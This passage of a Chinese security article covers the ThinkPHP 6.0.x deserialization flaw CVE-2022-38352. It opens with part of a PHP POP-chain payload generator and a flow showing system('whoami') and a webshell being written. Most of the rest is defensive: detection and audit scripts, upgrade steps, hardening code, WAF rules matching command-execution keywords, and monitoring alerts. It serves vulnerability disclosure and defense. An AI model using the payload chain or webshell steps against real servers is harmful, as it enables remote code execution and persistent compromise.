}

namespace think\session {
    class Store {
        protected $data;
        protected $serialize = ["call_user_func"];
        protected $id = "";
        public function __construct($data) {
            $this->data = [$data, "param"];
        }
    }
}

namespace {
    $request = new think\Request();
    $store = new think\session\Store($request);
    $channel = new think\log\Channel($store);
    $url = new think\route\Url($channel);
    $model = new think\model\Pivot($url);
    
    // 生成 Payload
    $payload = urlencode(serialize($model));
    echo "Payload: " . $payload . "\n";
    echo "Length: " . strlen($payload) . "\n";
}

3. 攻击场景与影响评估

3.1 攻击流程时序

操作系统 PHP-FPM ThinkPHP 6.0.13 业务应用 攻击者 操作系统 PHP-FPM ThinkPHP 6.0.13 业务应用 攻击者 #mermaid-svg-7lhA7fIRrkFQql6K{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-7lhA7fIRrkFQql6K .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-7lhA7fIRrkFQql6K .error-icon{fill:#552222;}#mermaid-svg-7lhA7fIRrkFQql6K .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-7lhA7fIRrkFQql6K .marker{fill:#333333;stroke:#333333;}#mermaid-svg-7lhA7fIRrkFQql6K .marker.cross{stroke:#333333;}#mermaid-svg-7lhA7fIRrkFQql6K svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-7lhA7fIRrkFQql6K p{margin:0;}#mermaid-svg-7lhA7fIRrkFQql6K .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-7lhA7fIRrkFQql6K text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-7lhA7fIRrkFQql6K .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-7lhA7fIRrkFQql6K .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K .sequenceNumber{fill:white;}#mermaid-svg-7lhA7fIRrkFQql6K #sequencenumber{fill:#333;}#mermaid-svg-7lhA7fIRrkFQql6K #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K .messageText{fill:#333;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-7lhA7fIRrkFQql6K .labelText,#mermaid-svg-7lhA7fIRrkFQql6K .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .loopText,#mermaid-svg-7lhA7fIRrkFQql6K .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-7lhA7fIRrkFQql6K .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-7lhA7fIRrkFQql6K .noteText,#mermaid-svg-7lhA7fIRrkFQql6K .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-7lhA7fIRrkFQql6K .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-7lhA7fIRrkFQql6K .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-7lhA7fIRrkFQql6K .actorPopupMenu{position:absolute;}#mermaid-svg-7lhA7fIRrkFQql6K .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-7lhA7fIRrkFQql6K .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-7lhA7fIRrkFQql6K .actor-man circle,#mermaid-svg-7lhA7fIRrkFQql6K line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-7lhA7fIRrkFQql6K :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 业务代码 unserialize(base64_decode($_POST'data')) 反序列化 think\Model\Pivot 对象 Model::__destruct 触发 触发 relation 写入链 遍历 data 调用 call_user_func Request::param 触发 filter 二次利用:写入 Webshell 持久化访问 POST /api/cache/load data=<base64_payload> 实例化 Model lazySave=true 调用 save() think\route\Url::__toString think\log\Channel::__call think\session\Store::save call_user_func(Request, 'param') call_user_func('system', 'whoami') 执行 system('whoami') 返回 "www-data\n" 返回执行结果 反序列化完成 HTTP 200 + 命令输出 POST data=<payload_filter=file_put_contents> "file_put_contents('shell.php', shell_code)" POST /shell.php 1=system('id')

3.2 典型攻击场景

场景一:缓存系统反序列化入口

text 复制代码
攻击路径:
1. 攻击者发现目标使用 ThinkPHP 6.0.13
2. 探测 /api/cache/load 接口,发现接收 base64 数据
3. 业务代码:$data = unserialize(base64_decode($_POST['data']));
4. 提交 CVE-2022-38352 Payload
5. 反序列化触发 POP 链,执行 whoami
6. 修改 Payload 为 file_put_contents 写入 Webshell
7. 通过 Webshell 持久化访问

场景二:Session 反序列化利用

text 复制代码
攻击路径:
1. 目标使用自定义 Session 处理器
2. Session 数据存储在文件中,使用 PHP 序列化格式
3. 攻击者通过其他漏洞(如 LFI)读取 Session 文件
4. 构造恶意 Session 数据写入
5. 下次 Session 加载时触发反序列化
6. POP 链执行,服务器被攻破

场景三:队列任务反序列化

text 复制代码
攻击路径:
1. 目标使用 ThinkPHP 队列系统
2. 任务数据通过 unserialize 还原
3. 攻击者通过其他入口(如未授权 API)注入恶意任务
4. 队列 worker 反序列化任务时触发
5. POP 链执行,worker 进程被控制

3.3 影响评估

影响维度 评估 说明
机密性 严重 可读取任意文件、配置、数据库凭证
完整性 严重 可写入 Webshell、篡改业务数据
可用性 严重 可删除文件、关停服务
攻击门槛 需要业务代码存在 unserialize 入口
利用难度 公开 PoC,修改参数即可
横向风险 极高 可读取数据库凭证、SSH 密钥
修复紧迫度 极高 EPSS 92.56%,被利用概率极高

4. 检测:如何判断是否已被利用

4.1 漏洞利用迹象

检测维度 异常迹象 检测方法
请求体 POST 数据含 O:N:"think 序列化特征 抓取请求体或 WAF 日志
请求头 Content-Type 异常(非 form/json) Nginx access.log
文件异常 public 目录出现未知 .php 文件 文件完整性监控
进程异常 www-data 执行 systemwhoami auditd / 进程监控
错误日志 PHP Fatal: Allowed memory size exhausted /var/log/php-fpm.log
Session 文件 /var/lib/php/sessions 文件大小异常增长 文件监控
缓存文件 runtime/cache 目录出现非业务数据 文件监控

4.2 日志检测脚本

从 Nginx 访问日志和 PHP 错误日志中识别反序列化攻击。

bash 复制代码
#!/bin/bash
# thinkphp_deserialization_detect.sh --- CVE-2022-38352 攻击检测
# 用法: ./thinkphp_deserialization_detect.sh [nginx日志路径] [php-fpm日志路径]

NGINX_LOG="${1:-/var/log/nginx/access.log}"
PHP_LOG="${2:-/var/log/php8.x-fpm.log}"

echo "===== CVE-2022-38352 反序列化攻击检测 ====="
echo ""

# 1. 检查序列化数据特征
echo "[1] 序列化数据特征检测"
if [ -f "$NGINX_LOG" ]; then
    SERIAL_COUNT=$(grep -cE 'O:[0-9]+:"think' "$NGINX_LOG" 2>/dev/null || echo 0)
    if [ "$SERIAL_COUNT" -gt 0 ]; then
        echo "    🔴 发现 $SERIAL_COUNT 条序列化对象注入攻击"
        echo "    攻击源 IP:"
        grep -E 'O:[0-9]+:"think' "$NGINX_LOG" | awk '{print $1}' | sort | uniq -c | sort -rn | head -5
    else
        echo "    ✅ 未发现序列化对象注入"
    fi
fi

# 2. 检查 base64 编码的 Payload
echo ""
echo "[2] Base64 编码 Payload 检测"
if [ -f "$NGINX_LOG" ]; then
    B64_COUNT=$(grep -cE '(POST|data=)[^&]*Tzoz[0-9]' "$NGINX_LOG" 2>/dev/null || echo 0)
    if [ "$B64_COUNT" -gt 0 ]; then
        echo "    🔴 发现 $B64_COUNT 条 Base64 编码的反序列化 Payload"
    else
        echo "    ✅ 未发现 Base64 编码 Payload"
    fi
fi

# 3. 检查 PHP 错误日志中的反序列化异常
echo ""
echo "[3] PHP 错误日志异常检测"
if [ -f "$PHP_LOG" ]; then
    ERROR_COUNT=$(grep -cE "(unserialize|__destruct|Psr6Cache|think\\\\Model)" "$PHP_LOG" 2>/dev/null || echo 0)
    if [ "$ERROR_COUNT" -gt 0 ]; then
        echo "    🔴 发现 $ERROR_COUNT 条反序列化相关错误"
        echo "    错误样本:"
        grep -E "(unserialize|__destruct|Psr6Cache)" "$PHP_LOG" | tail -5
    else
        echo "    ✅ 未发现反序列化错误"
    fi
fi

# 4. 检查可疑的 file_put_contents 调用
echo ""
echo "[4] Webshell 写入检测"
if [ -f "$NGINX_LOG" ]; then
    SHELL_COUNT=$(grep -cE "file_put_contents" "$NGINX_LOG" 2>/dev/null || echo 0)
    if [ "$SHELL_COUNT" -gt 0 ]; then
        echo "    🔴 发现 $SHELL_COUNT 条 Webshell 写入尝试"
    else
        echo "    ✅ 未发现 Webshell 写入"
    fi
fi

echo ""
echo "===== 检测完成 ====="

4.3 业务代码反序列化入口扫描

CVE-2022-38352 的利用前提是业务代码存在 unserialize 入口,必须先识别这些入口。

bash 复制代码
#!/bin/bash
# unserialize_audit.sh --- 业务代码反序列化入口审计
# 用法: ./unserialize_audit.sh [项目根目录]

PROJECT_ROOT="${1:-/var/www/html}"

echo "===== 业务代码反序列化入口审计 ====="
echo "扫描目录: $PROJECT_ROOT"
echo ""

# 1. 扫描 unserialize 调用
echo "[1] unserialize() 调用扫描"
UNSERIALIZE_FILES=$(grep -rn "unserialize\s*(" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
    grep -vE "vendor/|tests/|/runtime/" | head -30)

if [ -n "$UNSERIALIZE_FILES" ]; then
    echo "    🔴 发现 unserialize 调用:"
    echo "$UNSERIALIZE_FILES"
else
    echo "    ✅ 未发现 unserialize 调用"
fi

# 2. 扫描危险的 Session 处理
echo ""
echo "[2] 自定义 Session 处理器扫描"
SESSION_FILES=$(grep -rn "session_set_save_handler\|SessionHandlerInterface" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
    grep -vE "vendor/|tests/" | head -10)

if [ -n "$SESSION_FILES" ]; then
    echo "    ⚠️  发现自定义 Session 处理器(需检查是否反序列化):"
    echo "$SESSION_FILES"
else
    echo "    ✅ 未发现自定义 Session 处理器"
fi

# 3. 扫描缓存文件读取
echo ""
echo "[3] 缓存文件读取扫描"
CACHE_FILES=$(grep -rnE "file_get_contents.*cache|cache.*file_get_contents" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
    grep -vE "vendor/|tests/" | head -10)

if [ -n "$CACHE_FILES" ]; then
    echo "    ⚠️  发现缓存文件读取(需检查是否反序列化):"
    echo "$CACHE_FILES"
else
    echo "    ✅ 未发现可疑缓存读取"
fi

# 4. 扫描 allowed_classes 配置
echo ""
echo "[4] allowed_classes 配置检查"
SAFE_FILES=$(grep -rn "allowed_classes" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
    grep -vE "vendor/|tests/" | head -10)

if [ -n "$SAFE_FILES" ]; then
    echo "    ✅ 发现 allowed_classes 配置(安全实践):"
    echo "$SAFE_FILES"
else
    echo "    ⚠️  未发现 allowed_classes 配置,建议在 unserialize 调用处添加"
fi

echo ""
echo "===== 审计完成 ====="

4.4 版本自查脚本

bash 复制代码
#!/bin/bash
# thinkphp6_version_check.sh --- ThinkPHP 6.x 版本批量自查
# 用法: 将 ThinkPHP 6 项目路径列表写入 thinkphp6_paths.txt

VULN=false

while IFS= read -r path; do
    [ -z "$path" ] && continue
    echo "检查: $path"

    # 通过 composer.lock 识别版本
    LOCK_FILE="$path/composer.lock"
    if [ -f "$LOCK_FILE" ]; then
        VERSION=$(grep -A2 '"name": "topthink/framework"' "$LOCK_FILE" | grep -oP '"version": "\K[^"]+' | head -1)
        
        if [ -n "$VERSION" ]; then
            echo "  当前版本: $VERSION"
            
            # 检查是否受影响(6.0.0-6.0.13)
            PATCH=$(echo "$VERSION" | grep -oP '\d+$')
            if echo "$VERSION" | grep -q "^v\?6\.0\." && [ "$PATCH" -lt 14 ] 2>/dev/null; then
                echo "  🔴 受 CVE-2022-38352 影响,请升级到 6.0.14+"
                VULN=true
            else
                echo "  ✅ 已修复或不受影响"
            fi
        fi
    else
        echo "  ⚠️  未找到 composer.lock,请手动检查"
    fi
done < thinkphp6_paths.txt

if [ "$VULN" = true ]; then
    echo ""
    echo "⚠️  发现受影响实例,请立即升级!"
fi

5. 修复方案

5.1 升级 ThinkPHP(推荐)

升级到 6.0.14+ 是最彻底的修复方案,6.0.14 中 League\Flysystem 升级到 1.1.2+,移除了有问题的 Psr6Cache 反序列化利用链。

修复版本对照表

版本线 受影响范围 修复版本
ThinkPHP 6.0.x 6.0.0 - 6.0.13 6.0.14+
ThinkPHP 6.1.x 6.1.0 - 6.1.2 6.1.3+
ThinkPHP 8.x 不受影响 ---

通过 Composer 升级

bash 复制代码
# 进入项目根目录
cd /var/www/your-thinkphp6-project

# 备份当前 composer.json 和 composer.lock
cp composer.json composer.json.bak
cp composer.lock composer.lock.bak

# 升级到 6.0.14
composer require topthink/framework:^6.0.14 --update-with-all-dependencies

# 或者升级到 6.1.x(推荐,长期维护)
composer require topthink/framework:^6.1.0 --update-with-all-dependencies

# 验证版本
php think version
# 预期输出: v6.0.14 或 v6.1.x

# 验证修复:检查 Psr6Cache 是否仍可被利用
php -r "
require 'vendor/autoload.php';
\$obj = new League\Flysystem\Cached\Storage\Psr6Cache(new MockCache());
echo serialize(\$obj);
" | head -c 200

升级后验证

bash 复制代码
# 1. 版本验证
php think version
# 预期: v6.0.14+

# 2. 业务回归测试
php think test

# 3. PoC 验证(应无法触发)
# 构造 Payload 并通过业务接口提交,验证命令执行是否被拦截

5.2 业务代码加固(强烈推荐)

5.2.1 禁用 unserialize,改用 JSON

从根因消除反序列化攻击面。JSON 不支持对象实例化,从根本上杜绝 POP 链。

php 复制代码
// ❌ 危险代码:使用 unserialize
class CacheService {
    public function get($key) {
        $data = file_get_contents("/tmp/cache/$key");
        return unserialize($data);  // 危险!可能触发 POP 链
    }
    
    public function set($key, $value) {
        $data = serialize($value);
        file_put_contents("/tmp/cache/$key", $data);
    }
}

// ✅ 安全代码:使用 JSON
class CacheService {
    public function get($key) {
        $data = file_get_contents("/tmp/cache/$key");
        return json_decode($data, true);  // 安全:仅返回数组/标量
    }
    
    public function set($key, $value) {
        $data = json_encode($value);
        file_put_contents("/tmp/cache/$key", $data);
    }
}
5.2.2 必须使用 unserialize 时限制 allowed_classes

PHP 7+ 的 unserialize() 支持 allowed_classes 参数,限制可实例化的类。

php 复制代码
// ✅ 安全实践:白名单允许的类
class CacheService {
    // 仅允许这些类被反序列化
    private $allowedClasses = [
        \app\model\User::class,
        \app\model\Order::class,
    ];
    
    public function get($key) {
        $data = file_get_contents("/tmp/cache/$key");
        // 仅允许白名单类,框架类 think\Model 等被拒绝
        return unserialize($data, ['allowed_classes' => $this->allowedClasses]);
    }
}

// ✅ 更安全:完全禁用对象实例化
class CacheService {
    public function get($key) {
        $data = file_get_contents("/tmp/cache/$key");
        // allowed_classes = false 完全禁用对象,仅返回 __PHP_Incomplete_Class
        return unserialize($data, ['allowed_classes' => false]);
    }
}
5.2.3 输入数据签名验证

对序列化数据做 HMAC 签名,确保数据未被篡改。

php 复制代码
class SecureCache {
    private $secretKey;
    
    public function __construct() {
        // 从环境变量读取密钥
        $this->secretKey = getenv('CACHE_HMAC_KEY');
        if (empty($this->secretKey)) {
            throw new \RuntimeException('CACHE_HMAC_KEY 未配置');
        }
    }
    
    public function set($key, $value) {
        $data = serialize($value);
        $signature = hash_hmac('sha256', $data, $this->secretKey);
        // 存储格式:签名 + 数据
        $payload = $signature . '|' . base64_encode($data);
        file_put_contents("/tmp/cache/$key", $payload);
    }
    
    public function get($key) {
        $payload = file_get_contents("/tmp/cache/$key");
        if (!$payload || strpos($payload, '|') === false) {
            return null;
        }
        
        list($signature, $data) = explode('|', $payload, 2);
        $data = base64_decode($data);
        
        // 验证签名
        $expectedSig = hash_hmac('sha256', $data, $this->secretKey);
        if (!hash_equals($expectedSig, $signature)) {
            // 签名校验失败,数据可能被篡改
            throw new \RuntimeException('缓存数据签名校验失败');
        }
        
        // 签名验证通过,安全反序列化
        return unserialize($data, ['allowed_classes' => false]);
    }
}

5.3 WAF 规则

5.3.1 Nginx 拦截规则

在 Nginx 层拦截序列化数据特征,比 PHP 入口更早。

nginx 复制代码
# /etc/nginx/conf.d/thinkphp-deserialization-waf.conf

# 拦截请求体中的序列化对象特征
# 使用 lua-nginx-module 做请求体检测
location ~ \.php$ {
    access_by_lua_block {
        local ngx_req = require "ngx.req"
        local body = ngx_req.get_body_data()
        
        if body then
            -- 检查 think\Model 序列化特征
            if string.find(body, 'O:%d+:"think') or
               string.find(body, 'think\\Model') or
               string.find(body, 'Psr6Cache') or
               string.find(body, 'think\\route\\Url') then
                ngx.log(ngx.WARN, "Blocked deserialization attack from " .. ngx.var.remote_addr)
                ngx.exit(403)
            end
            
            -- 检查 Base64 编码的 Payload(Tzoz 开头是 O:N:" 的 base64)
            if string.find(body, 'Tzoz%d') then
                ngx.log(ngx.WARN, "Blocked base64 deserialization attack from " .. ngx.var.remote_addr)
                ngx.exit(403)
            end
        end
    }
    
    fastcgi_pass unix:/run/php/php8.x-fpm.sock;
    # ... 其他 fastcgi 配置
}
5.3.2 ModSecurity 规则
apache 复制代码
# /etc/modsecurity/rules/thinkphp-deserialization.conf

# 规则 1: 拦截 think 命名空间序列化对象
SecRule ARGS|REQUEST_BODY "@rx (?i)O:[0-9]+:\"think\\\\" \
    "id:100010,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - think namespace'"

# 规则 2: 拦截 Psr6Cache 类
SecRule ARGS|REQUEST_BODY "@rx (?i)Psr6Cache" \
    "id:100011,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - Psr6Cache'"

# 规则 3: 拦截 think\route\Url 类
SecRule ARGS|REQUEST_BODY "@rx (?i)think\\\\route\\\\Url" \
    "id:100012,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - Url class'"

# 规则 4: 拦截 Base64 编码的序列化对象
SecRule ARGS|REQUEST_BODY "@rx TzozWzAtOStcIlRo" \
    "id:100013,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - Base64 encoded'"

# 规则 5: 拦截 call_user_func 配合 system 的 Payload
SecRule ARGS|REQUEST_BODY "@rx (?i)(system|exec|passthru|shell_exec).*whoami|id" \
    "id:100014,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - command execution'"

5.4 PHP 配置加固

ini 复制代码
; /etc/php/8.x/fpm/php.ini

; 禁用危险函数(即使被反序列化利用,也无法执行命令)
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; 限制 open_basedir
open_basedir = /var/www/your-project/:/tmp/

; 禁用远程文件包含
allow_url_include = Off
allow_url_fopen = Off

; 限制 POST 数据大小(防止超大 Payload)
post_max_size = 8M

; 限制文件上传
upload_max_filesize = 2M

; Session 加固
session.serialize_handler = php_serialize
session.use_strict_mode = 1
session.cookie_httponly = 1
session.cookie_samesite = Strict

6. 踩坑记录

6.1 升级到 6.0.14 后 League\Flysystem 兼容性问题

text 复制代码
现象:
升级到 6.0.14 后,使用 OSS/S3 存储驱动的业务报错:
"Class League\Flysystem\Cached\Storage\Psr6Cache not found"

根因:
6.0.14 升级 League\Flysystem 到 2.x,API 不兼容 1.x。
Psr6Cache 类在 2.x 中被移除/重构。

解决:
1. 评估业务是否真的需要 Psr6Cache 缓存
2. 如果需要,使用 league/flysystem-cached-adapter 包
3. 如果不需要,移除相关代码
4. 业务代码适配 Flysystem 2.x API

教训:
升级前必须检查依赖的破坏性变更,阅读 Upgrade Guide。

6.2 业务代码反序列化入口未修复

text 复制代码
现象:
升级到 6.0.14 后,安全扫描仍报告反序列化漏洞。

根因:
框架升级了,但业务代码仍存在 unserialize($_POST['data']) 入口。
攻击者可利用其他 POP 链(如 Issue #2793)继续攻击。

解决:
1. 全局扫描业务代码的 unserialize 调用
2. 替换为 json_decode
3. 必须保留时,添加 allowed_classes 限制
4. 加入输入数据签名验证

教训:
框架升级只是修复框架的 POP 链,业务代码的反序列化入口必须独立修复。

6.3 WAF 规则误伤正常 JSON API

text 复制代码
现象:
配置 WAF 规则 "拦截 O:N:" 后,正常 JSON API 返回 403。

根因:
JSON 数据中可能包含 "O:5:" 这样的字符串(如订单号 ORD5:xxx)。
WAF 规则匹配过于宽松。

解决:
1. 规则改为精确匹配 PHP 序列化格式:O:N:"ClassName"
2. 增加上下文判断:必须同时包含 O:N:" 和 think\\
3. 排除 JSON Content-Type 的请求(JSON 不会被 PHP 反序列化)

教训:
WAF 规则要基于 PHP 序列化格式的精确特征,避免误伤 JSON。

6.4 composer update 升级失败

text 复制代码
现象:
执行 composer require topthink/framework:^6.0.14 时报错:
"topthink/framework v6.0.14 requires php >=8.0.0, your php version (7.4.x) does not satisfy"

根因:
6.0.14+ 要求 PHP 8.0+,旧业务可能运行在 PHP 7.4。

解决:
1. 同时升级 PHP 到 8.0+
2. 评估业务代码的 PHP 8 兼容性
3. 若无法升级 PHP,使用 6.0.13 + allowed_classes 加固
4. 长期规划迁移到 PHP 8 + ThinkPHP 8

教训:
框架升级常伴随 PHP 版本要求提升,需统一规划。

📊 运维监控与自动化保障

监控项设计

监控项 Prometheus 指标 告警阈值 检测频率
ThinkPHP 版本 thinkphp_version_info 版本 < 6.0.14 / 6.1.3 每小时
反序列化攻击 thinkphp_attack_total{type="deserialization"} 5 分钟内 > 5 次 实时
序列化对象注入 thinkphp_attack_total{type="object_injection"} 任意一次即告警 实时
Webshell 写入 thinkphp_attack_total{type="webshell_write"} 任意一次即告警 实时
PHP 反序列化错误 php_unserialize_error_total 5 分钟内 > 10 次 实时
业务代码 unserialize 调用 php_unserialize_call_total 突增 200% 告警 实时
Session 文件大小 session_file_size_bytes 单文件 > 10KB 告警 每小时

Prometheus 告警规则

yaml 复制代码
# /etc/prometheus/rules/thinkphp-deserialization.yml
groups:
  - name: thinkphp-deserialization
    rules:
      # 规则 1: ThinkPHP 版本过低
      - alert: ThinkPHP6OutdatedVersion
        expr: thinkphp_version_info{major="6",minor="0",patch!~"(1[4-9]|[2-9][0-9])"} == 1
        for: 1h
        labels:
          severity: critical
          cve: CVE-2022-38352
        annotations:
          summary: "ThinkPHP 6.x 版本过低,存在 CVE-2022-38352 风险"
          description: "实例 {{ $labels.instance }} 当前版本 6.0.{{ $labels.patch }},请升级到 6.0.14+"

      # 规则 2: 反序列化攻击检测
      - alert: ThinkPHPDeserializationAttack
        expr: increase(thinkphp_attack_total{type="deserialization"}[5m]) > 5
        for: 1m
        labels:
          severity: critical
          cve: CVE-2022-38352
        annotations:
          summary: "检测到反序列化攻击"
          description: "实例 {{ $labels.instance }} 5 分钟内收到 {{ $value }} 次反序列化攻击"

      # 规则 3: 序列化对象注入
      - alert: ThinkPHPObjectInjection
        expr: increase(thinkphp_attack_total{type="object_injection"}[1m]) > 0
        for: 0s
        labels:
          severity: critical
          cve: CVE-2022-38352
        annotations:
          summary: "检测到序列化对象注入"
          description: "实例 {{ $labels.instance }} 检测到 think\\ 命名空间对象注入攻击"

      # 规则 4: Webshell 写入尝试
      - alert: ThinkPHPWebshellWrite
        expr: increase(thinkphp_attack_total{type="webshell_write"}[1m]) > 0
        for: 0s
        labels:
          severity: critical
          cve: CVE-2022-38352
        annotations:
          summary: "检测到 Webshell 写入尝试"
          description: "实例 {{ $labels.instance }} 检测到通过反序列化写入 Webshell"

      # 规则 5: PHP 反序列化错误激增
      - alert: PHPUnserializeErrorSpike
        expr: increase(php_unserialize_error_total[5m]) > 10
        for: 2m
        labels:
          severity: warning
        annotations:
          summary: "PHP 反序列化错误激增"
          description: "实例 {{ $labels.instance }} 5 分钟内有 {{ $value }} 次反序列化错误,可能是攻击探测"

      # 规则 6: Session 文件异常
      - alert: SessionFileAnomaly
        expr: session_file_size_bytes > 10240
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Session 文件大小异常"
          description: "Session 文件 {{ $labels.file }} 大小 {{ $value }} 字节,可能被注入恶意数据"

      # 规则 7: 业务 unserialize 调用突增
      - alert: UnserializeCallSpike
        expr: rate(php_unserialize_call_total[5m]) > 10
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "unserialize 调用频率异常"
          description: "实例 {{ $labels.instance }} unserialize 调用频率 {{ $value }} 次/秒,可能是攻击或性能问题"

自动化巡检脚本

bash 复制代码
#!/bin/bash
# thinkphp6_security_patrol.sh --- ThinkPHP 6.x 安全巡检
# 用法: 由 crontab 每日执行

THINKPHP_ROOT="${1:-/var/www/html}"
REPORT_FILE="/tmp/thinkphp6_patrol_$(date +%Y%m%d).log"
ALERT_EMAIL="${ALERT_EMAIL:-ops@example.com}"

echo "===== ThinkPHP 6.x 安全巡检报告 $(date) =====" > "$REPORT_FILE"
echo "项目根目录: $THINKPHP_ROOT" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# 1. 版本检查
echo "[1] ThinkPHP 版本检查" >> "$REPORT_FILE"
LOCK_FILE="$THINKPHP_ROOT/composer.lock"
if [ -f "$LOCK_FILE" ]; then
    VERSION=$(grep -A2 '"name": "topthink/framework"' "$LOCK_FILE" | grep -oP '"version": "\K[^"]+' | head -1)
    echo "    当前版本: $VERSION" >> "$REPORT_FILE"
    
    if echo "$VERSION" | grep -qE "^v?6\.0\.[0-9]$|^v?6\.0\.1[0-3]$"; then
        echo "    🔴 严重: 版本受 CVE-2022-38352 影响,请升级到 6.0.14+" >> "$REPORT_FILE"
        SEVERITY=critical
    elif echo "$VERSION" | grep -qE "^v?6\.1\.[0-2]$"; then
        echo "    🔴 严重: 版本受 CVE-2022-38352 影响,请升级到 6.1.3+" >> "$REPORT_FILE"
        SEVERITY=critical
    else
        echo "    ✅ 版本已修复" >> "$REPORT_FILE"
    fi
fi
echo "" >> "$REPORT_FILE"

# 2. 业务代码反序列化入口审计
echo "[2] 反序列化入口审计" >> "$REPORT_FILE"
UNSERIALIZE_COUNT=$(grep -rn "unserialize\s*(" "$THINKPHP_ROOT/app" --include="*.php" 2>/dev/null | \
    grep -vE "vendor/|tests/" | wc -l)
echo "    发现 unserialize 调用: $UNSERIALIZE_COUNT 处" >> "$REPORT_FILE"

if [ "$UNSERIALIZE_COUNT" -gt 0 ]; then
    echo "    调用位置:" >> "$REPORT_FILE"
    grep -rn "unserialize\s*(" "$THINKPHP_ROOT/app" --include="*.php" 2>/dev/null | \
        grep -vE "vendor/|tests/" | head -10 >> "$REPORT_FILE"
    
    # 检查是否有 allowed_classes
    SAFE_COUNT=$(grep -rn "allowed_classes" "$THINKPHP_ROOT/app" --include="*.php" 2>/dev/null | wc -l)
    echo "    使用 allowed_classes 的调用: $SAFE_COUNT 处" >> "$REPORT_FILE"
    
    if [ "$SAFE_COUNT" -lt "$UNSERIALIZE_COUNT" ]; then
        echo "    ⚠️  部分 unserialize 未使用 allowed_classes 限制" >> "$REPORT_FILE"
        SEVERITY=${SEVERITY:-warning}
    fi
fi
echo "" >> "$REPORT_FILE"

# 3. WAF 规则验证
echo "[3] WAF 规则验证" >> "$REPORT_FILE"
NGINX_WAF=$(grep -c "think\\\\" /etc/nginx/conf.d/*.conf 2>/dev/null || echo 0)
MODSEC_RULES=$(grep -c "Psr6Cache" /etc/modsecurity/rules/*.conf 2>/dev/null || echo 0)
echo "    Nginx WAF 规则数: $NGINX_WAF" >> "$REPORT_FILE"
echo "    ModSecurity 规则数: $MODSEC_RULES" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# 4. PHP 配置检查
echo "[4] PHP 配置检查" >> "$REPORT_FILE"
DISABLE_FUNCTIONS=$(php -i 2>/dev/null | grep "disable_functions" | head -1)
echo "    $DISABLE_FUNCTIONS" >> "$REPORT_FILE"

if ! echo "$DISABLE_FUNCTIONS" | grep -qE "system|exec|passthru"; then
    echo "    ⚠️  未禁用 system/exec/passthru 等危险函数" >> "$REPORT_FILE"
    SEVERITY=${SEVERITY:-warning}
fi
echo "" >> "$REPORT_FILE"

# 5. Webshell 扫描
